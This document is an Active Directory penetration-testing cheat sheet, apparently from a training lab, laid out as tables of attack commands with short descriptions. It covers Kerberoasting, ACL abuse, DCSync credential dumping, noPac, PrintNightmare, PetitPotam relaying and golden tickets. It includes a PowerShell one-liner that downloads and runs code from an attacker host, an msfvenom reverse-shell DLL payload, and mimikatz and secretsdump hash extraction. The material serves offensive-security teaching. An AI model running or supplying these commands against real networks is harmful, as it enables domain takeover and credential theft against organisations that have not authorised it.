| `Get-NetShare`                                                                           | PowerView script used to return a list of open shares on a local (or a remote) machine. Performed from a Windows-based host.                                                              |
| `Get-NetSession`                                                                         | PowerView script used to return session information for the local (or a remote) machine. Performed from a Windows-based host.                                                             |
| `Test-AdminAccess`                                                                       | PowerView script used to test if the current user has administrative access to the local (or a remote) machine. Performed from a Windows-based host.                                      |
| `Find-DomainUserLocation`                                                                | PowerView script used to find machines where specific users are logged into. Performed from a Windows-based host.                                                                         |
| `Find-DomainShare`                                                                       | PowerView script used to find reachable shares on domain machines. Performed from a Windows-based host.                                                                                   |
| `Find-InterestingDomainShareFile`                                                        | PowerView script that searches for files matching specific criteria on readable shares in the domain. Performed from a Windows-based host.                                                |
| `Find-LocalAdminAccess`                                                                  | PowerView script used to find machines on the local domain where the current user has local administrator access Performed from a Windows-based host.                                     |
| `Get-DomainTrust`                                                                        | PowerView script that returns domain trusts for the current domain or a specified domain. Performed from a Windows-based host.                                                            |
| `Get-ForestTrust`                                                                        | PowerView script that returns all forest trusts for the current forest or a specified forest. Performed from a Windows-based host.                                                        |
| `Get-DomainForeignUser`                                                                  | PowerView script that enumerates users who are in groups outside of the user's domain. Performed from a Windows-based host.                                                               |
| `Get-DomainForeignGroupMember`                                                           | PowerView script that enumerates groups with users outside of the group's domain and returns each foreign member. Performed from a Windows-based host.                                    |
| `Get-DomainTrustMapping`                                                                 | PowerView script that enumerates all trusts for current domain and any others seen. Performed from a Windows-based host.                                                                  |
| `Get-DomainGroupMember -Identity "Domain Admins" -Recurse`                               | PowerView script used to list all the members of a target group (`"Domain Admins"`) through the use of the recurse option (`-Recurse`). Performed from a Windows-based host.              |
| `Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName`                    | PowerView script used to find users on the target Windows domain that have the `Service Principal Name` set. Performed from a Windows-based host.                                         |
| `.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data`                                       | Runs a tool called `Snaffler` against a target Windows domain that finds various kinds of data in shares that the compromised account has access to. Performed from a Windows-based host. |

## Transfering Files

| Command                                                                                                                  | Description                                                                                          |
| ------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------- |
| `sudo python3 -m http.server 8001`                                                                                       | Starts a python web server for quick hosting of files. Performed from a Linux-basd host.             |
| `"IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')"`                                   | PowerShell one-liner used to download a file from a web server. Performed from a Windows-based host. |
| `impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/` | Starts a impacket `SMB` server for quick hosting of a file. Performed from a Windows-based host.     |

## Kerberoasting

| Command                                                                                                                                                                                                      | Description                                                                                                                                                                                      |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `sudo python3 -m pip install .`                                                                                                                                                                              | Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host.                                                                       |
| `GetUserSPNs.py -h`                                                                                                                                                                                          | Impacket tool used to display the options and functionality of `GetUserSPNs.py` from a Linux-based host.                                                                                         |
| `GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday`                                                                                                                                             | Impacket tool used to get a list of `SPNs` on the target Windows domain from a Linux-based host.                                                                                                 |
| `GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request`                                                                                                                                    | Impacket tool used to download/request (`-request`) all TGS tickets for offline processing from a Linux-based host.                                                                              |
| `GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev`                                                                                                                        | Impacket tool used to download/request (`-request-user`) a TGS ticket for a specific user account (`sqldev`) from a Linux-based host.                                                            |
| `GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs`                                                                                                 | Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (`-outputfile sqldev_tgs`) linux-based host.                                      |
| `hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force`                                                                                                                                       | Attempts to crack the Kerberos (`-m 13100`) ticket hash (`sqldev_tgs`) using `hashcat` and a wordlist (`rockyou.txt`) from a Linux-based host.                                                   |
| `setspn.exe -Q */*`                                                                                                                                                                                          | Used to enumerate `SPNs` in a target Windows domain from a Windows-based host.                                                                                                                   |
| `Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"`                            | PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host.                                                                                          |
| `setspn.exe -T INLANEFREIGHT.LOCAL -Q */* \| Select-String '^CN' -Context 0,1 \| % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }` | Used to download/request all TGS tickets from a WIndows-based host.                                                                                                                              |
| `mimikatz # base64 /out:true`                                                                                                                                                                                | `Mimikatz` command that ensures TGS tickets are extracted in `base64` format from a Windows-based host.                                                                                          |
| `kerberos::list /export`                                                                                                                                                                                     | `Mimikatz` command used to extract the TGS tickets from a Windows-based host.                                                                                                                    |
| `echo "<base64 blob>" \| tr -d \`                                                                                                                                                                            | Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host.                                                                                                              |
| `cat encoded_file \| base64 -d > sqldev.kirbi`                                                                                                                                                               | Used to output a file (`encoded_file`) into a .kirbi file in base64 (`base64 -d > sqldev.kirbi`) format from a Linux-based host.                                                                 |
| `python2.7 kirbi2john.py sqldev.kirbi`                                                                                                                                                                       | Used to extract the `Kerberos ticket`. This also creates a file called `crack_file` from a Linux-based host.                                                                                     |
| `sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat`                                                                                                                | Used to modify the `crack_file` for `Hashcat` from a Linux-based host.                                                                                                                           |
| `cat sqldev_tgs_hashcat`                                                                                                                                                                                     | Used to view the prepared hash from a Linux-based host.                                                                                                                                          |
| `hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt`                                                                                                                                       | Used to crack the prepared Kerberos ticket hash (`sqldev_tgs_hashcat`) using a wordlist (`rockyou.txt`) from a Linux-based host.                                                                 |
| `Import-Module .\PowerView.ps1 Get-DomainUser * -spn \| select samaccountname`                                                                                                                               | Uses PowerView tool to extract `TGS Tickets` . Performed from a Windows-based host.                                                                                                              |
| `Get-DomainUser -Identity sqldev \| Get-DomainSPNTicket -Format Hashcat`                                                                                                                                     | PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for `Hashcat` from a Windows-based host.                                                 |
| `Get-DomainUser * -SPN \| Get-DomainSPNTicket -Format Hashcat \| Export-Csv .\ilfreight_tgs.csv -NoTypeInformation`                                                                                          | Exports all TGS tickets to a `.CSV` file (`ilfreight_tgs.csv`) from a Windows-based host.                                                                                                        |
| `cat .\ilfreight_tgs.csv`                                                                                                                                                                                    | Used to view the contents of the .csv file from a Windows-based host.                                                                                                                            |
| `.\Rubeus.exe`                                                                                                                                                                                               | Used to view the options and functionality possible with the tool `Rubeus`. Performed from a Windows-based host.                                                                                 |
| `.\Rubeus.exe kerberoast /stats`                                                                                                                                                                             | Used to check the kerberoast stats (`/stats`) within the target Windows domain from a Windows-based host.                                                                                        |
| `.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap`                                                                                                                                                 | Used to request/download TGS tickets for accounts with the `admin` count set to `1` then formats the output in an easy to view & crack manner (`/nowrap`) . Performed from a Windows-based host. |
| `.\Rubeus.exe kerberoast /user:testspn /nowrap`                                                                                                                                                              | Used to request/download a TGS ticket for a specific user (`/user:testspn`) the formats the output in an easy to view & crack manner (`/nowrap`). Performed from a Windows-based host.           |
| `Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes`                                                                                                       | PowerView tool used to check the `msDS-SupportedEncryptionType` attribute associated with a specific user account (`testspn`). Performed from a Windows-based host.                              |
| `hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt`                                                                                                                                             | Used to attempt to crack the ticket hash using a wordlist (`rockyou.txt`) from a Linux-based host .                                                                                              |

## ACL Enumeration & Tactics

| Command                                                                                                                                                                                                                                                                                                | Description                                                                                                                                                                                                                                                          |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Find-InterestingDomainAcl`                                                                                                                                                                                                                                                                            | PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built in objects from a Windows-based host.                                                                                                                 |
| `Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley`                                                                                                                                                                                                                                          | Used to import PowerView and retrieve the `SID` of a specific user account (`wley`) from a Windows-based host.                                                                                                                                                       |
| `Get-DomainObjectACL -Identity * \| ? {$_.SecurityIdentifier -eq $sid}`                                                                                                                                                                                                                                | Used to find all Windows domain objects that the user has rights over by mapping the user's `SID` to the `SecurityIdentifier` property from a Windows-based host.                                                                                                    |
| `$guid= "00299570-246d-11d0-a768-00aa006e0529" Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * \| Select Name,DisplayName,DistinguishedName,rightsGuid \| ?{$_.rightsGuid -eq $guid} \| fl` | Used to perform a reverse search & map to a `GUID` value from a Windows-based host.                                                                                                                                                                                  |
| `Get-DomainObjectACL -ResolveGUIDs -Identity * \| ? {$_.SecurityIdentifier -eq $sid}`                                                                                                                                                                                                                  | Used to discover a domain object's ACL by performing a search based on GUID's (`-ResolveGUIDs`) from a Windows-based host.                                                                                                                                           |
| `Get-ADUser -Filter * \| Select-Object -ExpandProperty SamAccountName > ad_users.txt`                                                                                                                                                                                                                  | Used to discover a group of user accounts in a target Windows domain and add the output to a text file (`ad_users.txt`) from a Windows-based host.                                                                                                                   |
| `foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" \| Select-Object Path -ExpandProperty Access \| Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}`                                                      | A `foreach loop` used to retrieve ACL information for each domain user in a target Windows domain by feeding each list of a text file(`ad_users.txt`) to the `Get-ADUser` cmdlet, then enumerates access rights of those users. Performed from a Windows-based host. |
| `$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)`                                                                                                                         | Used to create a `PSCredential Object` from a Windows-based host.                                                                                                                                                                                                    |
| `$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force`                                                                                                                                                                                                                     | Used to create a `SecureString Object` from a Windows-based host.                                                                                                                                                                                                    |
| `Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose`                                                                                                                                                                                            | PowerView tool used to change the password of a specifc user (`damundsen`) on a target Windows domain from a Windows-based host.                                                                                                                                     |
| `Get-ADGroup -Identity "Help Desk Level 1" -Properties * \| Select -ExpandProperty Members`                                                                                                                                                                                                            | PowerView tool used view the members of a target security group (`Help Desk Level 1`) from a Windows-based host.                                                                                                                                                     |
| `Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose`                                                                                                                                                                                                 | PowerView tool used to add a specifc user (`damundsen`) to a specific security group (`Help Desk Level 1`) in a target Windows domain from a Windows-based host.                                                                                                     |
| `Get-DomainGroupMember -Identity "Help Desk Level 1" \| Select MemberName`                                                                                                                                                                                                                             | PowerView tool used to view the members of a specific security group (`Help Desk Level 1`) and output only the username of each member (`Select MemberName`) of the group from a Windows-based host.                                                                 |
| `Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose`                                                                                                                                                                                         | PowerView tool used create a fake `Service Principal Name` given a sepecift user (`adunn`) from a Windows-based host.                                                                                                                                                |
| `Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose`                                                                                                                                                                                                             | PowerView tool used to remove the fake `Service Principal Name` created during the attack from a Windows-based host.                                                                                                                                                 |
| `Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose`                                                                                                                                                                                              | PowerView tool used to remove a specific user (`damundsent`) from a specific security group (`Help Desk Level 1`) from a Windows-based host.                                                                                                                         |
| `ConvertFrom-SddlString`                                                                                                                                                                                                                                                                               | PowerShell cmd-let used to covert an `SDDL string` into a readable format. Performed from a Windows-based host.                                                                                                                                                      |

## DCSync

| Command                                                                                                                                                                                                                                                                                                     | Description                                                                                                                                                                                                               |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Get-DomainUser -Identity adunn \| select samaccountname,objectsid,memberof,useraccountcontrol \|fl`                                                                                                                                                                                                        | PowerView tool used to view the group membership of a specific user (`adunn`) in a target Windows domain. Performed from a Windows-based host.                                                                            |
| `$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164" Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs \| ? { ($_.ObjectAceType -match 'Replication-Get')} \| ?{$_.SecurityIdentifier -match $sid} \| select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType \| fl` | Used to create a variable called SID that is set equal to the SID of a user account. Then uses PowerView tool `Get-ObjectAcl` to check a specific user's replication rights. Performed from a Windows-based host.         |
| `secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss`                                                                                                                                                                                                          | Impacket tool sed to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (`172.16.5.5`) and save the extracted hashes to an file (`inlanefreight_hashes`). Performed from a Linux-based host. |
| `mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator`                                                                                                                                                                                                                  | Uses `Mimikatz` to perform a `dcsync` attack from a Windows-based host.                                                                                                                                                   |

## Privileged Access

| Command                                                                                                                                  | Description                                                                                                                                                                                                                                                             |
| ---------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"`                                                | PowerView based tool to used to enumerate the `Remote Desktop Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.                                                                                                             |
| `Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"`                                             | PowerView based tool to used to enumerate the `Remote Management Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.                                                                                                          |
| `$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force`                                                                     | Creates a variable (`$password`) set equal to the password (`Klmcargo2`) of a user from a Windows-based host.                                                                                                                                                           |
| `$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)`                                       | Creates a variable (`$cred`) set equal to the username (`forend`) and password (`$password`) of a target domain account from a Windows-based host.                                                                                                                      |
| `Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred`                                                                        | Uses the PowerShell cmd-let `Enter-PSSession` to establish a PowerShell session with a target over the network (`-ComputerName ACADEMY-EA-DB01`) from a Windows-based host. Authenticates using credentials made in the 2 commands shown prior (`$cred` & `$password`). |
| `evil-winrm -i 10.129.201.234 -u forend`                                                                                                 | Used to establish a PowerShell session with a Windows target from a Linux-based host using `WinRM`.                                                                                                                                                                     |
| `Import-Module .\PowerUpSQL.ps1`                                                                                                         | Used to import the `PowerUpSQL` tool.                                                                                                                                                                                                                                   |
| `Get-SQLInstanceDomain`                                                                                                                  | PowerUpSQL tool used to enumerate SQL server instances from a Windows-based host.                                                                                                                                                                                       |
| `Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'` | PowerUpSQL tool used to connect to connect to a SQL server and query the version (`-query 'Select @@version'`) from a Windows-based host.                                                                                                                               |
| `mssqlclient.py`                                                                                                                         | Impacket tool used to display the functionality and options provided with `mssqlclient.py` from a Linux-based host.                                                                                                                                                     |
| `mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth`                                                                      | Impacket tool used to connect to a MSSQL server from a Linux-based host.                                                                                                                                                                                                |
| `SQL> help`                                                                                                                              | Used to display mssqlclient.py options once connected to a MSSQL server.                                                                                                                                                                                                |
| `SQL> enable_xp_cmdshell`                                                                                                                | Used to enable `xp_cmdshell stored procedure` that allows for executing OS commands via the database from a Linux-based host.                                                                                                                                           |
| `xp_cmdshell whoami /priv`                                                                                                               | Used to enumerate rights on a system using `xp_cmdshell`.                                                                                                                                                                                                               |

## NoPac

| Command                                                                                                                                                                                       | Description                                                                                                                                                                        |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sudo git clone https://github.com/Ridter/noPac.git`                                                                                                                                          | Used to clone a `noPac` exploit using git. Performed from a Linux-based host.                                                                                                      |
| `sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap`                                                                                                    | Runs `scanner.py` to check if a target system is vulnerable to `noPac`/`Sam_The_Admin` from a Linux-based host.                                                                    |
| `sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap`                                          | Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and gain a SYSTEM shell (`-shell`). Performed from a Linux-based host.                                                   |
| `sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator` | Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and perform a `DCSync` attack against the built-in Administrator account on a Domain Controller from a Linux-based host. |

## PrintNightmare

| Command                                                                                                                           | Description                                                                                                                                                                                                                                              |
| --------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `git clone https://github.com/cube0x0/CVE-2021-1675.git`                                                                          | Used to clone a PrintNightmare exploit using git from a Linux-based host.                                                                                                                                                                                |
| `pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install`                    | Used to ensure the exploit author's (`cube0x0`) version of Impacket is installed. This also uninstalls any previous Impacket version on a Linux-based host.                                                                                              |
| `rpcdump.py @172.16.5.5 \| egrep 'MS-RPRN\|MS-PAR'`                                                                               | Used to check if a Windows target has `MS-PAR` & `MSRPRN` exposed from a Linux-based host.                                                                                                                                                               |
| `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.129.202.111 LPORT=8080 -f dll > backupscript.dll`                       | Used to generate a DLL payload to be used by the exploit to gain a shell session. Performed from a Windows-based host.                                                                                                                                   |
| `sudo smbserver.py -smb2support CompData /path/to/backupscript.dll`                                                               | Used to create an SMB server and host a shared folder (`CompData`) at the specified location on the local linux host. This can be used to host the DLL payload that the exploit will attempt to download to the host. Performed from a Linux-based host. |
| `sudo python3 CVE-2021-1675.py inlanefreight.local/<username>:<password>@172.16.5.5 '\\10.129.202.111\CompData\backupscript.dll'` | Executes the exploit and specifies the location of the DLL payload. Performed from a Linux-based host.                                                                                                                                                   |

## PetitPotam

| Command                                                                                                                                                            | Description                                                                                                                                                                                 |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController`               | Impacket tool used to create an `NTLM relay` by specifiying the web enrollment URL for the `Certificate Authority` host. Perfomred from a Linux-based host.                                 |
| `git clone https://github.com/topotam/PetitPotam.git`                                                                                                              | Used to clone the `PetitPotam` exploit using git. Performed from a Linux-based host.                                                                                                        |
| `python3 PetitPotam.py 172.16.5.225 172.16.5.5`                                                                                                                    | Used to execute the PetitPotam exploit by specifying the IP address of the attack host (`172.16.5.255`) and the target Domain Controller (`172.16.5.5`). Performed from a Linux-based host. |
| `python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <base64 certificate> = dc01.ccache`                                    | Uses `gettgtpkinit`.py to request a TGT ticket for the Domain Controller (`dc01.ccache`) from a Linux-based host.                                                                           |
| `secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL`                                      | Impacket tool used to perform a DCSync attack and retrieve one or all of the `NTLM password hashes` from the target Windows domain. Performed from a Linux-based host.                      |
| `klist`                                                                                                                                                            | `krb5-user` command used to view the contents of the `ccache` file. Performed from a Linux-based host.                                                                                      |
| `python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$`                  | Used to submit TGS requests using `getnthash.py` from a Linux-based host.                                                                                                                   |
| `secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba` | Impacket tool used to extract hashes from `NTDS.dit` using a `DCSync attack` and a captured hash (`-hashes`). Performed from a Linux-based host.                                            |
| `.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /<base64 certificate>=/ptt`                                                                                            | Uses Rubeus to request a TGT and perform a `pass-the-ticket attack` using the machine account (`/user:ACADEMY-EA-DC01$`) of a Windows target. Performed from a Windows-based host.          |
| `mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt`                                                                                                            | Performs a DCSync attack using `Mimikatz`. Performed from a Windows-based host.                                                                                                             |

## Miscellaneous Misconfigurations

| Command                                                                                       | Description                                                                                                                                             |
| --------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Import-Module .\SecurityAssessment.ps1`                                                      | Used to import the module `Security Assessment.ps1`. Performed from a Windows-based host.                                                               |
| `Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL`                           | SecurityAssessment.ps1 based tool used to enumerate a Windows target for `MS-PRN Printer bug`. Performed from a Windows-based host.                     |
| `adidnsdump -u inlanefreight\\forend ldap://172.16.5.5`                                       | Used to resolve all records in a DNS zone over `LDAP` from a Linux-based host.                                                                          |
| `adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r`                                    | Used to resolve unknown records in a DNS zone by performing an `A query` (`-r`) from a Linux-based host.                                                |
| `Get-DomainUser * \| Select-Object samaccountname,description`                                | PowerView tool used to display the description field of select objects (`Select-Object`) on a target Windows domain from a Windows-based host.          |
| `Get-DomainUser -UACFilter PASSWD_NOTREQD \| Select-Object samaccountname,useraccountcontrol` | PowerView tool used to check for the `PASSWD_NOTREQD` setting of select objects (`Select-Object`) on a target Windows domain from a Windows-based host. |
| `ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts`                                     | Used to list the contents of a share hosted on a Windows target from the context of a currently logged on user. Performed from a Windows-based host.    |

## Group Policy Enumeration & Attacks

| Command                                                               | Description                                                                                                                                                             |
| --------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE`             | Tool used to decrypt a captured `group policy preference password` from a Linux-based host.                                                                             |
| `crackmapexec smb -L \| grep gpp`                                     | Locates and retrieves a `group policy preference password` using `CrackMapExec`, the filters the output using `grep`. Peformed from a Linux-based host.                 |
| `crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin` | Locates and retrieves any credentials stored in the `SYSVOL` share of a Windows target using `CrackMapExec` from a Linux-based host.                                    |
| `Get-DomainGPO \| select displayname`                                 | PowerView tool used to enumerate GPO names in a target Windows domain from a Windows-based host.                                                                        |
| `Get-GPO -All \| Select DisplayName`                                  | PowerShell cmd-let used to enumerate GPO names. Performed from a Windows-based host.                                                                                    |
| `$sid=Convert-NameToSid "Domain Users"`                               | Creates a variable called `$sid` that is set equal to the `Convert-NameToSid` tool and specifies the group account `Domain Users`. Performed from a Windows-based host. |
| `Get-DomainGPO \| Get-ObjectAcl \| ?{$_.SecurityIdentifier -eq $sid`  | PowerView tool that is used to check if the `Domain Users` (`eq $sid`) group has any rights over one or more GPOs. Performed from a Windows-based host.                 |
| `Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532`                  | PowerShell cmd-let used to display the name of a GPO given a `GUID`. Performed from a Windows-based host.                                                               |

## ASREPRoasting

| Command                                                                                                  | Description                                                                                                                                                                             |
| -------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Get-DomainUser -PreauthNotRequired \| select samaccountname,userprincipalname,useraccountcontrol \| fl` | PowerView based tool used to search for the `DONT_REQ_PREAUTH` value across in user accounts in a target Windows domain. Performed from a Windows-based host.                           |
| `.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat`                                          | Uses `Rubeus` to perform an `ASEP Roasting attack` and formats the output for `Hashcat`. Performed from a Windows-based host.                                                           |
| `hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt`                                      | Uses `Hashcat` to attempt to crack the captured hash using a wordlist (`rockyou.txt`). Performed from a Linux-based host.                                                               |
| `kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt`                               | Enumerates users in a target Windows domain and automatically retrieves the `AS` for any users found that don't require Kerberos pre-authentication. Performed from a Linux-based host. |

## Trust Relationships - Child > Parent Trusts

| Command                                                                                                                                                                                                                         | Description                                                                                                                                      |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Import-Module activedirectory`                                                                                                                                                                                                 | Used to import the `Active Directory` module. Performed from a Windows-based host.                                                               |
| `Get-ADTrust -Filter *`                                                                                                                                                                                                         | PowerShell cmd-let used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host.                         |
| `Get-DomainTrust`                                                                                                                                                                                                               | PowerView tool used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host.                             |
| `Get-DomainTrustMapping`                                                                                                                                                                                                        | PowerView tool used to perform a domain trust mapping from a Windows-based host.                                                                 |
| `Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL \| select SamAccountName`                                                                                                                                                 | PowerView tools used to enumerate users in a target child domain from a Windows-based host.                                                      |
| `mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt`                                                                                                                                                                             | Uses Mimikatz to obtain the `KRBTGT` account's `NT Hash` from a Windows-based host.                                                              |
| `Get-DomainSID`                                                                                                                                                                                                                 | PowerView tool used to get the SID for a target child domain from a Windows-based host.                                                          |
| `Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" \| select distinguishedname,objectsid`                                                                                                               | PowerView tool used to obtain the `Enterprise Admins` group's SID from a Windows-based host.                                                     |
| `ls \\academy-ea-dc01.inlanefreight.local\c$`                                                                                                                                                                                   | Used to attempt to list the contents of the C drive on a target Domain Controller. Performed from a Windows-based host.                          |
| `mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt` | Uses `Mimikatz` to create a `Golden Ticket` from a Windows-based host .                                                                          |
| `.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt`            | Uses `Rubeus` to create a `Golden Ticket` from a Windows-based host.                                                                             |
| `mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm`                                                                                                                                                                        | Uses `Mimikatz` to perform a DCSync attack from a Windows-based host.                                                                            |
| `secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt`                                                                                                                      | Impacket tool used to perform a DCSync attack from a Linux-based host.                                                                           |
| `lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240`                                                                                                                                                       | Impacket tool used to perform a `SID Brute forcing` attack from a Linux-based host.                                                              |
| `lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 \| grep "Domain SID"`                                                                                                                                  | Impacket tool used to retrieve the SID of a target Windows domain from a Linux-based host.                                                       |
